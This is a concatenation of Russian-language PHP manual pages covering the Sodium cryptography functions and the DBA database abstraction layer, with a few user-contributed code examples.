sodium_crypto_sign_publickey_from_secretkey — Извлекает открытый ключ Ed25519 из секретного ключа

Описание

sodium_crypto_sign_publickey_from_secretkey(string $secret_key): string

Извлекает открытый ключ Ed25519 из секретного ключа

Список параметров

secret_key

Секретный ключ Ed25519

Возвращаемые значения

Открытый ключ Ed25519

User Contributed Notes

There are no user contributed notes for this page.


Извлекает открытый ключ Ed25519 из пары ключей

  • « sodium_crypto_sign_publickey_from_secretkey
  • sodium_crypto_sign_secretkey »
  • PHP Manual
  • Функции Sodium
  • Извлекает открытый ключ Ed25519 из пары ключей

sodium_crypto_sign_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_publickey — Извлекает открытый ключ Ed25519 из пары ключей

Описание

sodium_crypto_sign_publickey(string $key_pair): string

Извлекает открытый ключ Ed25519 из пары ключей

Список параметров

key_pair

Ключевая пара Ed25519 (смотрите sodium_crypto_sign_keypair())

Возвращаемые значения

Открытый ключ Ed25519

User Contributed Notes

There are no user contributed notes for this page.


Извлекает секретный ключ Ed25519 из пары ключей

  • « sodium_crypto_sign_publickey
  • sodium_crypto_sign_seed_keypair »
  • PHP Manual
  • Функции Sodium
  • Извлекает секретный ключ Ed25519 из пары ключей

sodium_crypto_sign_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_secretkey — Извлекает секретный ключ Ed25519 из пары ключей

Описание

sodium_crypto_sign_secretkey(string $key_pair): string

Извлекает секретный ключ Ed25519 из пары ключей

Список параметров

key_pair

Ключевая пара Ed25519 (смотрите sodium_crypto_sign_keypair())

Возвращаемые значения

Секретный ключ Ed25519

User Contributed Notes

There are no user contributed notes for this page.


Детерминированный вывод пары ключей из одного ключа

  • « sodium_crypto_sign_secretkey
  • sodium_crypto_sign_verify_detached »
  • PHP Manual
  • Функции Sodium
  • Детерминированный вывод пары ключей из одного ключа

sodium_crypto_sign_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_seed_keypair — Детерминированный вывод пары ключей из одного ключа

Описание

sodium_crypto_sign_seed_keypair(string $seed): string

Скрепляет начальное значение для формирования секретного ключа, извлекает открытый ключ и возвращает их в виде пары ключей.

Функции *_seed_keypair идеально подходят для создания пары ключей из пароля и соли. Используйте результат как seed для генерации желаемых ключей.

Список параметров

seed

Какие-то криптографические данные. Должно быть 32 байта.

Возвращаемые значения

Ключевая пара (секретный и открытый ключи)

User Contributed Notes

There are no user contributed notes for this page.


Проверить подпись для сообщения

  • « sodium_crypto_sign_seed_keypair
  • sodium_crypto_sign »
  • PHP Manual
  • Функции Sodium
  • Проверить подпись для сообщения

sodium_crypto_sign_verify_detached

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign_verify_detached — Проверить подпись для сообщения

Описание

sodium_crypto_sign_verify_detached(string $signature, string $message, string $public_key): bool

Проверяет подпись для сообщения

Список параметров

signature

Криптографическая подпись, полученная с помощью sodium_crypto_sign_detached()

message

Проверяемое сообщение

public_key

Открытый ключ ed25519

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Anonymous 12-May-2020 11:50
<?php

$message = 'The quick brown fox jumped over the lazy dog.';

# Generate keypair
$keyPair = sodium_crypto_sign_keypair();

# Sign a message
$secKey = sodium_crypto_sign_secretkey($keyPair);
$signature = sodium_crypto_sign_detached($message, $secKey);

# Verify a message
$pubKey = sodium_crypto_sign_publickey($keyPair);
$verifyResult = sodium_crypto_sign_verify_detached($signature, $message, $pubKey);

var_dump($verifyResult); # true or false

?>


Подписать сообщение

  • « sodium_crypto_sign_verify_detached
  • sodium_crypto_stream_keygen »
  • PHP Manual
  • Функции Sodium
  • Подписать сообщение

sodium_crypto_sign

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_sign — Подписать сообщение

Описание

sodium_crypto_sign(string $message, string $secret_key): string

Подписывает сообщение секретным ключом, который можно проверить с помощью соответствующего открытого ключа. Функция прикрепляет подпись к сообщению. Подробности в разделе sodium_crypto_sign_detached() для отдельных подписей.

Список параметров

message

Сообщение для подписи.

secret_key

Секретный ключ. Смотрите sodium_crypto_sign_secretkey()

Возвращаемые значения

Подписанное сообщение (не зашифрованное).

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Aug-2018 07:34
Here's a quick example on how to use sodium_crypto_sign(); where you have a message that you want to sign, so anyone with the public key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign_detached(), but the returned string contains the original message as well (in plain text, at the end, so anyone can read it).

<?php

// $sign_seed = random_bytes(SODIUM_CRYPTO_SIGN_SEEDBYTES);
// $sign_pair = sodium_crypto_sign_seed_keypair($sign_seed);

$sign_pair = sodium_crypto_sign_keypair();
$sign_secret = sodium_crypto_sign_secretkey($sign_pair);
$sign_public = sodium_crypto_sign_publickey($sign_pair);

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$message_signed = sodium_crypto_sign($message, $sign_secret);

//--------------------------------------------------
// Person 2, verifying

$message = sodium_crypto_sign_open($message_signed, $sign_public);

echo $message . "\n";

?>


Генерирует случайный ключ sodium_crypto_stream

  • « sodium_crypto_sign
  • sodium_crypto_stream_xchacha20_keygen »
  • PHP Manual
  • Функции Sodium
  • Генерирует случайный ключ sodium_crypto_stream

sodium_crypto_stream_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream_keygen — Генерирует случайный ключ sodium_crypto_stream

Описание

sodium_crypto_stream_keygen(): string

Создаёт ключ, который используется в sodium_crypto_stream() и sodium_crypto_stream_xor().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ключ шифрования (256 бит).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает безопасный случайный ключ

  • « sodium_crypto_stream_keygen
  • sodium_crypto_stream_xchacha20_xor_ic »
  • PHP Manual
  • Функции Sodium
  • Возвращает безопасный случайный ключ

sodium_crypto_stream_xchacha20_keygen

(PHP 8 >= 8.1.0)

sodium_crypto_stream_xchacha20_keygen — Возвращает безопасный случайный ключ

Описание

sodium_crypto_stream_xchacha20_keygen(): string

Возвращает безопасный случайный ключ для использования функцией sodium_crypto_stream_xchacha20().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 32-байтовый безопасный случайный ключ для использования функцией sodium_crypto_stream_xchacha20().

User Contributed Notes

There are no user contributed notes for this page.


Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)

  • « sodium_crypto_stream_xchacha20_keygen
  • sodium_crypto_stream_xchacha20_xor »
  • PHP Manual
  • Функции Sodium
  • Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)

sodium_crypto_stream_xchacha20_xor_ic

(PHP 8 >= 8.2.0)

sodium_crypto_stream_xchacha20_xor_ic — Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)

Описание

sodium_crypto_stream_xchacha20_xor_ic(
string $message,
string $nonce,
int $counter,
string $key
): string

Функция аналогична sodium_crypto_stream_xchacha20_xor(), но добавляет возможность установить начальное значение счётчика блоков в ненулевое значение. Это позволяет получить прямой доступ к любому блоку без необходимости вычисления предыдущих.

Предостережение

Это шифрование является неаутентифицированным и не предотвращает атаки с подобранным шифротекста. Обязательно объедините шифротекст с кодом аутентификации сообщения, например, с помощью функции sodium_crypto_aead_xchacha20poly1305_ietf_encrypt() или sodium_crypto_auth().

Список параметров

message

Сообщение для шифрования.

nonce

24-байтовый одноразовый номер.

counter

Начальное значение счётчика блоков.

key

Ключ, возможно, сгенерированный функцией sodium_crypto_stream_xchacha20_keygen().

Возвращаемые значения

Возвращает зашифрованное сообщение или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sodium_crypto_stream_xchacha20_xor_ic()

<?php
$n2 = random_bytes(SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES);
$left = str_repeat("\x01", 64);
$right = str_repeat("\xfe", 64);

// Всё сразу:
$stream7_unified = sodium_crypto_stream_xchacha20_xor($left . $right, $n2, $key);

// По частям, с начальным счётчиком:
$stream7_left = sodium_crypto_stream_xchacha20_xor_ic($left, $n2, 0, $key);
$stream7_right = sodium_crypto_stream_xchacha20_xor_ic($right, $n2, 1, $key);
$stream7_concat = $stream7_left . $stream7_right;

var_dump(strlen($stream7_concat));
var_dump($stream7_unified === $stream7_concat);
?>

Результатом выполнения данного примера будет что-то подобное:

int(128)
bool(true)

Смотрите также

  • sodium_crypto_stream_xchacha20_xor() - Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)

User Contributed Notes

There are no user contributed notes for this page.


Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)

  • « sodium_crypto_stream_xchacha20_xor_ic
  • sodium_crypto_stream_xchacha20 »
  • PHP Manual
  • Функции Sodium
  • Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)

sodium_crypto_stream_xchacha20_xor

(PHP 8 >= 8.1.0)

sodium_crypto_stream_xchacha20_xor — Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)

Описание

sodium_crypto_stream_xchacha20_xor(string $message, string $nonce, string $key): string

Шифрует сообщение message, используя одноразовый номер nonce и секретный ключ key (без аутентификации).

Предостережение

Это шифрование не аутентифицируется и не предотвращает атаки с выбранным зашифрованным текстом. Обязательно объедините зашифрованный текст с кодом аутентификации сообщения (Message Authentication Code), например, с помощью функции sodium_crypto_aead_xchacha20poly1305_ietf_encrypt() или sodium_crypto_auth().

Список параметров

message

Сообщение для шифрования.

nonce

24-байтовый одноразовый номер.

key

Ключ, возможно, сгенерированный с помощью функции sodium_crypto_stream_xchacha20_keygen().

Возвращаемые значения

Зашифрованное сообщение.

Смотрите также

  • sodium_crypto_stream_xchacha20_xor_ic() - Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)

User Contributed Notes

There are no user contributed notes for this page.


Расширяет ключ и одноразовый номер в ключевой поток псевдослучайных байтов

  • « sodium_crypto_stream_xchacha20_xor
  • sodium_crypto_stream_xor »
  • PHP Manual
  • Функции Sodium
  • Расширяет ключ и одноразовый номер в ключевой поток псевдослучайных байтов

sodium_crypto_stream_xchacha20

(PHP 8 >= 8.1.0)

sodium_crypto_stream_xchacha20 — Расширяет ключ и одноразовый номер в ключевой поток псевдослучайных байтов

Описание

sodium_crypto_stream_xchacha20(int $length, string $nonce, string $key): string

Расширяет ключ key и одноразовый номер nonce в ключевой поток псевдослучайных байтов.

Список параметров

length

Желаемое количество байтов.

nonce

24-байтовый одноразовый номер.

key

Ключ, возможно, сгенерированный с помощью функции sodium_crypto_stream_xchacha20_keygen().

Возвращаемые значения

Возвращает псевдослучайный поток, который можно использовать функцией sodium_crypto_stream_xchacha20_xor().

User Contributed Notes

There are no user contributed notes for this page.


Шифрует сообщение без аутентификации

  • « sodium_crypto_stream_xchacha20
  • sodium_crypto_stream »
  • PHP Manual
  • Функции Sodium
  • Шифрует сообщение без аутентификации

sodium_crypto_stream_xor

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream_xor — Шифрует сообщение без аутентификации

Описание

sodium_crypto_stream_xor(string $message, string $nonce, string $key): string

Функция шифрует сообщение с помощью XSalsa20, но не предоставляет никаких гарантий зашифрованного текста для открытого текста.

Список параметров

message

Сообщение для шифрования

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key

Ключ шифрования (256 бит).

Возвращаемые значения

Зашифрованное сообщение.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт детерминированную последовательность байтов из начального числа

  • « sodium_crypto_stream_xor
  • sodium_hex2bin »
  • PHP Manual
  • Функции Sodium
  • Создаёт детерминированную последовательность байтов из начального числа

sodium_crypto_stream

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_stream — Создаёт детерминированную последовательность байтов из начального числа

Описание

sodium_crypto_stream(int $length, string $nonce, string $key): string

Создаёт детерминированную последовательность байтов из начального числа с использованием потокового шифра XSalsa20.

Список параметров

length

Количество возвращаемых байтов.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key

Ключ шифрования (256 бит).

Возвращаемые значения

Строка псевдослучайных байтов.

User Contributed Notes

There are no user contributed notes for this page.


Декодирует строку в шестнадцатеричном представлении в бинарное

  • « sodium_crypto_stream
  • sodium_increment »
  • PHP Manual
  • Функции Sodium
  • Декодирует строку в шестнадцатеричном представлении в бинарное

sodium_hex2bin

(PHP 7 >= 7.2.0, PHP 8)

sodium_hex2bin — Декодирует строку в шестнадцатеричном представлении в бинарное

Описание

sodium_hex2bin(string $string, string $ignore = ""): string

Декодирует строку, закодированную в шестнадцатеричное представление в бинарное.

Как и sodium_bin2hex(), функция sodium_hex2bin() устойчива к атакам по сторонним каналам (side-channel attacks), в отличие от функции hex2bin().

Список параметров

string

Шестнадцатеричное представление данных.

ignore

Необязательный строковый аргумент с игнорируемыми символами.

Возвращаемые значения

Возвращает двоичное представление переданных в аргументе string данных.

User Contributed Notes

There are no user contributed notes for this page.


Увеличить на единицу большое число

  • « sodium_hex2bin
  • sodium_memcmp »
  • PHP Manual
  • Функции Sodium
  • Увеличить на единицу большое число

sodium_increment

(PHP 7 >= 7.2.0, PHP 8)

sodium_increment — Увеличить на единицу большое число

Описание

sodium_increment(string &$string): void

Обрабатывает строку как целое число без знака с прямым порядком байтов, затем увеличивает его на 1. Постоянное время.

Список параметров

string

Строка для увеличения.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Проверка на равенство за постоянное количество времени

  • « sodium_increment
  • sodium_memzero »
  • PHP Manual
  • Функции Sodium
  • Проверка на равенство за постоянное количество времени

sodium_memcmp

(PHP 7 >= 7.2.0, PHP 8)

sodium_memcmp — Проверка на равенство за постоянное количество времени

Описание

sodium_memcmp(string $string1, string $string2): int

Сравнивает две строки за постоянное время.

На практике чаще вместо этой функции используется hash_equals(), поскольку она предоставляет ту же логику, но возвращает логическое значение (bool) вместо целого числа (int). Однако, если вы используете возвращаемое значение сравнения в вычислениях, которые чувствительны ко времени, и беспокоитесь об утечках времени при преобразованиях типа bool-to-int, sodium_memcmp() - идеальная замена.

Список параметров

string1

Строка для сравнения.

string2

Другая строка для сравнения.

Возвращаемые значения

Возвращает 0, если обе строки равны; -1 в противном случае.

User Contributed Notes

divinity76 at gmail dot com 15-Sep-2019 07:17
seems to me that this function does the same as the hash_equals() function. hash_equals() has nothing to do with hashes really, it is just a constant-time string equality check function, apparently like sodium_memcmp()


Перезаписывает строку символами NULL

  • « sodium_memcmp
  • sodium_pad »
  • PHP Manual
  • Функции Sodium
  • Перезаписывает строку символами NULL

sodium_memzero

(PHP 7 >= 7.2.0, PHP 8)

sodium_memzero — Перезаписывает строку символами NULL

Описание

sodium_memzero(string &$string): void

sodium_memzero() обнуляет строку, переданную по ссылке.

Список параметров

string

Строка.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Дополняет строку отступами

  • « sodium_memzero
  • sodium_unpad »
  • PHP Manual
  • Функции Sodium
  • Дополняет строку отступами

sodium_pad

(PHP 7 >= 7.2.0, PHP 8)

sodium_pad — Дополняет строку отступами

Описание

sodium_pad(string $string, int $block_size): string

Дополняет строку вправо до заданной длины. Безопасная по времени.

Список параметров

string

Входная строка.

block_size

Строка будет дополнена до тех пор, пока она не станет чётной кратной размеру блока.

Возвращаемые значения

Дополненная строка.

User Contributed Notes

There are no user contributed notes for this page.


Удаление данных отступов

  • « sodium_pad
  • SodiumException »
  • PHP Manual
  • Функции Sodium
  • Удаление данных отступов

sodium_unpad

(PHP 7 >= 7.2.0, PHP 8)

sodium_unpad — Удаление данных отступов

Описание

sodium_unpad(string $string, int $block_size): string

Удаляет данные отступов у дополненной строки. Безопасная по времени.

Список параметров

string

Дополненная строка.

block_size

Размер блока для заполнения.

Возвращаемые значения

Стока с удалёнными отступами.

User Contributed Notes

There are no user contributed notes for this page.


Класс SodiumException

(PHP 7 >= 7.2.0, PHP 8)

Введение

Исключения, выбрасываемые функциями sodium.

Обзор классов

class SodiumException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с базами данных

  • Уровни абстракции
    • DBA — Database (dbm-style) Abstraction Layer
    • ODBC — ODBC (Unified)
    • PDO — Объекты данных PHP
  • Модули для работы с базами данных отдельных производителей
    • CUBRID
    • dBase
    • Firebird/InterBase
    • IBM DB2 — IBM DB2, Cloudscape и Apache Derby
    • MongoDB — Драйвер MongoDB
    • MySQL — MySQL драйверы и плагины
    • OCI8 — Oracle OCI8
    • PostgreSQL
    • SQLite3
    • SQLSRV — Драйвер СУБД Microsoft SQL Server для PHP

User Contributed Notes

There are no user contributed notes for this page.


Уровни абстракции

  • DBA — Database (dbm-style) Abstraction Layer
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции DBA
  • ODBC — ODBC (Unified)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции ODBC
  • PDO — Объекты данных PHP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Подключения и управление подключениями
    • Транзакции и автоматическая фиксация изменений
    • Подготовленные запросы и хранимые процедуры
    • Ошибки и их обработка
    • Большие объекты (LOB)
    • PDO — Класс PDO
    • PDOStatement — Класс PDOStatement
    • PDOException — Класс PDOException
    • Драйверы PDO

User Contributed Notes

There are no user contributed notes for this page.


Database (dbm-style) Abstraction Layer

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
  • Функции DBA
    • dba_close — Закрывает базу данных DBA
    • dba_delete — Удаляет запись базы данных определённую ключом
    • dba_exists — Проверяет, существует ли ключ
    • dba_fetch — Извлекает данные по указанному ключу
    • dba_firstkey — Извлекает первый ключ
    • dba_handlers — Список всех доступных обработчиков
    • dba_insert — Вставляет запись
    • dba_key_split — Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей
    • dba_list — Список всех открытых файлов базы данных
    • dba_nextkey — Извлекает следующий ключ
    • dba_open — Открывает базу данных
    • dba_optimize — Оптимизирует базу данных
    • dba_popen — Установить постоянный экземпляр базы данных
    • dba_replace — Перезаписать или вставить запись
    • dba_sync — Синхронизирует базу данных

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции являются основой для доступа к базам данных типа Berkeley DB.

Это главный уровень абстракции для файловых баз данных. Таким образом, функциональность ограничена общим подмножеством функций поддерживаемых современными базами данных такими как » Oracle Berkeley DB.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Поведение в различных аспектах может отличаться в зависимости от реализации базы данных. такие функции как dba_optimize() и dba_sync() могут работать как обещано для одних баз данных и не работать вообще для других. Вам необходимо скачать и установить поддерживаемые обработчики dba.

Список обработчиков DBA
Обработчик | Замечания
dbm | Dbm - это старейший (оригинальный) тип баз данных Berkeley DB. Лучше, по возможности, избегать его использования. Мы не поддерживаем совместимость функций встроенных в DB2 и gdbm, потому что они совместимы только на уровне исходного кода, но не могут обрабатывать оригинальный формат dbm.
ndbm | Ndbm - это новейший, гораздо более гибкий чем dbm, тип базы. Он также имеет большинство ограничений dbm (следовательно является устаревшим).
gdbm | Gdbm - это » менеджер баз данных GNU.
db2 | DB2 - используется для » Oracle Berkeley DB 2. Он описывается как "программный инструментарий, предоставляющий поддержку высокопроизводительной встроенной базы данных для отдельностоящих и клиент-серверных приложений".
db3 | DB3 - используется для » Oracle Berkeley DB 3.
db4 | DB4 - используется для » Oracle Berkeley DB 4 или 5. Может быть использована с BDB 5, начиная с PHP 5.3.3.
cdb | Cdb - это "быстрый, надёжный, лёгкий пакет для создания и чтения постоянных баз данных." от автора qmail. Может быть найден по ссылке » http://cr.yp.to/cdb.html. Так как база неизменяема, мы поддерживаем только операции чтения. С PHP 4.3.0 также поддерживается запись (не UPDATE!) через внутреннюю библиотеку cdb.
cdb_make | С PHP 4.3.0 мы поддерживаем создание (не изменение) файлов cdb при использовании встроенной библиотеки cdb.
flatfile | Доступно с PHP 4.3.0 только для поддержки совместимости с устаревшим модулем dbm. Использовать не рекомендуется. Тем не менее вы можете использовать этот обработчик для файлов, которые ранее были созданы в таком формате.
inifile | Доступно с PHP 4.3.3 для реализации возможности изменения файлов php.ini из скриптов PHP. При работе с ini-файлами вы должны передавать массивы формата array(0=>group,1=>value_name) или строки формата "[group]value_name", где group - опционально. Так как функции dba_firstkey() и dba_nextkey() возвращают строковое представление ключей, в PHP 5 была введена новая функция dba_key_split(), позволяющая конвертировать строковые ключи в ключи массива без потери false.
qdbm | Библиотека qdbm доступна по ссылке » http://fallabs.com/qdbm/index.html.
tcadb | Библиотека Tokyo Cabinet доступна по ссылке » http://fallabs.com/tokyocabinet/.
lmdb | Доступно с PHP 7.2.0. Библиотеку Lightning Memory-Mapped Database можно загрузить с сайта » https://symas.com/lmdb/.

При вызове функций dba_open() или dba_popen(), в качестве одно из аргументов необходимо передать имя обработчика. Актуальный список доступных обработчиков можно посмотреть с помощью функций phpinfo() или dba_handlers().

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для включения базовой поддержки баз данных в стиле dbm, необходимо собрать PHP с поддержкой динамически загружаемого модуля, используя опцию --enable-dba=shared. Также вы можете добавить поддержку конкретных обработчиков, задав их скрипту конфигурации с помощью опций --with-XXXX или --enable-XXXX.

Внимание

После конфигурирования и сборки PHP, необходимо запустить следующий тест из командной строки: php run-tests.php ext/dba. Он покажет, работает ли ваша комбинация обработчиков. Самые проблематичные - это dbm и ndbm. Они конфликтуют с многими установками. Причина в том, что на некоторых системах, эти библиотеки являются частью более чем одной другой библиотеки. Тест конфигурации исключительно поможет вам избежать неработоспособной конфигурации с одним обработчиком, но не с их комбинацией.

Поддерживаемые обработчики DBA
Обработчик | Ключ конфигурации
dbm

Для включения поддержки dbm, добавьте --with-dbm[=DIR].

Замечание:

dbm, как правило, представляет из себя обёртку подверженную частым сбоям. Следовательно использовать её можно только если вы абсолютно уверены в работоспособности и она вам действительно нужна.

ndbm

Для включения поддержки ndbm, добавьте --with-ndbm[=DIR].

Замечание:

ndbm, как правило, представляет из себя обёртку подверженную частым сбоям. Следовательно использовать её можно только если вы абсолютно уверены в работоспособности и она вам действительно нужна.

gdbm | Для включения поддержки gdbm, добавьте --with-gdbm[=DIR].
db2

Для включения поддержки Oracle Berkeley DB 2, добавьте --with-db2[=DIR].

Замечание:

db2 конфликтует с db3 и db4.

db3

Для включения поддержки Oracle Berkeley DB 3, добавьте --with-db3[=DIR].

Замечание:

db3 конфликтует с db2 и db4.

db4

Для включения поддержки Oracle Berkeley DB 4 or 5, добавьте --with-db4[=DIR].

Замечание:

db4 конфликтует с db2 и db3.

Замечание:

Библиотеки баз данных версий с 4.1 по 4.1.24 вообще не могут использоваться в PHP.

Поддержка BDB 5 добавлена в PHP 5.3.3.

cdb

Для включения поддержки cdb, добавьте --with-cdb[=DIR].

Замечание:

Вы можете не указывать DIR для использования встроенной библиотеки cdb, которая добавляет обработчик cdb_make, что позволяет создавать файлы базы cdb и предоставляет доступ к ним по сети, через потоки PHP.

flatfile

Для включения поддержки flatfile, добавьте --enable-flatfile. До PHP 5.2.1, необходимо использовать опцию --with-flatfile.

Замечание:

Добавлен для обеспечения совместимости с устаревшим модулем dbm. Используйте этот обработчик только если вы не можете установить одну из библиотек, требуемую другим обработчиком и если вам не достаточно встроенного обработчика cdb.

inifile

Для включения поддержки inifile, добавьте --enable-inifile. До PHP 5.2.1, необходимо использовать опцию --with-inifile.

Замечание:

Добавлено для получения доступ на чтение и запись к .ini файлам в стиле Microsoft (например php.ini).

qdbm

Для включения поддержки qdbm, добавьте --with-qdbm[=DIR].

Замечание:

qdbm конфликтует с dbm и gdbm.

Замечание:

Библиотеку qdbm можно скачать по ссылке » http://fallabs.com/qdbm/index.html.

tcadb

Для включения поддержки Tokyo Cabinet, добавьте --with-tcadb[=DIR].

Замечание:

Библиотеку можно скачать по ссылке » http://fallabs.com/tokyocabinet/.

lmdb

Для включения поддержки Lightning Memory-Mapped Database используйте --with-lmdb[=DIR].

Замечание:

Добавлено в PHP 7.2.0. Библиотека Lightning Memory-Mapped Database доступна по ссылке » https://symas.com/lmdb/.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки DBA
Имя | По умолчанию | Место изменения | Список изменений
dba.default_handler | DBA_DEFAULT | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

dba.default_handler string

Имя обработчика по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Функции dba_open() и dba_popen() возвращают обработчик для доступа к указанному файлу базы данных, который используется всеми остальными функциями модуля.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

DBA_LMDB_USE_SUB_DIR (int)

Флаг LMDB Driver, разрешающий создание подкаталога для файлов базы данных. Доступно, начиная с PHP 8.2.0.

DBA_LMDB_NO_SUB_DIR (int)

Флаг LMDB Driver, запрещающий создание подкаталога для файлов базы данных. Доступно, начиная с PHP 8.2.0.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Базовое использование

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование

Пример #1 DBA пример

<?php

$id = dba_open("/tmp/test.db", "n", "db2");

if (!$id) {
echo "dba_open failed\n";
exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
echo dba_fetch("key", $id);
dba_delete("key", $id);
}

dba_close($id);
?>

DBA является бинарно безопасным и не имеет каких-либо произвольных ограничений. Тем не менее, он наследует все ограничения, установленные базовой реализацией базы данных

Все файловые базы данных должны обеспечивать способ задания файлового режима только что созданной базы данных, если это вообще возможно. Файловый режим обычно передаётся как четвёртый аргумент в dba_open() или dba_popen().

Вы можете получить все записи базы данных в процедурном стиле используя функции dba_firstkey() и dba_nextkey(). Вы не можете изменить базу данных во время её обхода.

Пример #2 Обход базы данных

<?php

// ...open database...

$key = dba_firstkey($id);

while ($key !== false) {
if (true) { // запоминаем ключ для выполнения некоторых действий далее
$handle_later[] = $key;
}
$key = dba_nextkey($id);
}

foreach ($handle_later as $val) {
dba_delete($val, $id);
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Функции DBA

Содержание

  • dba_close — Закрывает базу данных DBA
  • dba_delete — Удаляет запись базы данных определённую ключом
  • dba_exists — Проверяет, существует ли ключ
  • dba_fetch — Извлекает данные по указанному ключу
  • dba_firstkey — Извлекает первый ключ
  • dba_handlers — Список всех доступных обработчиков
  • dba_insert — Вставляет запись
  • dba_key_split — Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей
  • dba_list — Список всех открытых файлов базы данных
  • dba_nextkey — Извлекает следующий ключ
  • dba_open — Открывает базу данных
  • dba_optimize — Оптимизирует базу данных
  • dba_popen — Установить постоянный экземпляр базы данных
  • dba_replace — Перезаписать или вставить запись
  • dba_sync — Синхронизирует базу данных

User Contributed Notes

Franz Korntner 21-Feb-2012 09:10
If you need a 'download data' button that automatically fires up a spreadsheet (like Excel), find that fputcsv() isn't working as expected, that none of the installed DBA database engines create a spreadsheet that can be opened, and that XLS generating components are just too heavy weight, then this might just hit the spot:

<?php
// simple table to present
$data = array(
    array('col1','col2'),
    array(1,2),
    array(3,4)
);

// pretend content (which is XML) is XLS native
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private", false);
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"sheet.xls\";" );

// construct skeleton
$dom = new DOMDocument('1.0', 'utf-8');
$dom->formatOutput = $dom->preserveSpaces = true; // optional
$n = new DOMProcessingInstruction('mso-application', 'progid="Excel.Sheet"');
$dom->appendChild($n);

$workbook = $dom->appendChild(new DOMElement('Workbook'));
$workbook->setAttribute('xmlns','urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:o','urn:schemas-microsoft-com:office:office');
$workbook->setAttribute('xmlns:x','urn:schemas-microsoft-com:office:excel');
$workbook->setAttribute('xmlns:ss','xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:html','http://www.w3.org/TR/REC-html40');

$styles = $workbook->appendChild(new DOMElement('Styles'));
$style = $styles->appendChild(new DOMElement('Style'));
$style->setAttribute('ss:ID','Default');
$worksheet = $workbook->appendChild(new DOMElement('Worksheet'));
$worksheet->setAttribute('ss:Name','sheet1');
$xmltable = $worksheet->appendChild(new DOMElement('Table'));

// populate with data
foreach ($data as $datarow) {
    $xmlrow = $xmltable->appendChild(new DOMElement('Row'));
    foreach ($datarow as $datacell) {
        $xmlcell = $xmlrow->appendChild(new DOMElement('Cell'));
        $xmldata = $xmlcell->appendChild(new DOMElement('Data', $datacell));
        $xmldata->setAttribute('ss:Type', is_numeric($datacell) ? 'Number' : 'String');
    }
}

// display and quit
echo $dom->saveXML();
?>
doppelbauer at gmail dot com 14-Oct-2006 07:47
Benchmark test:

http://qdbm.sourceforge.net/benchmark.pdf
kevinphpdotnet at stormtide dot ca 17-Mar-2004 11:10
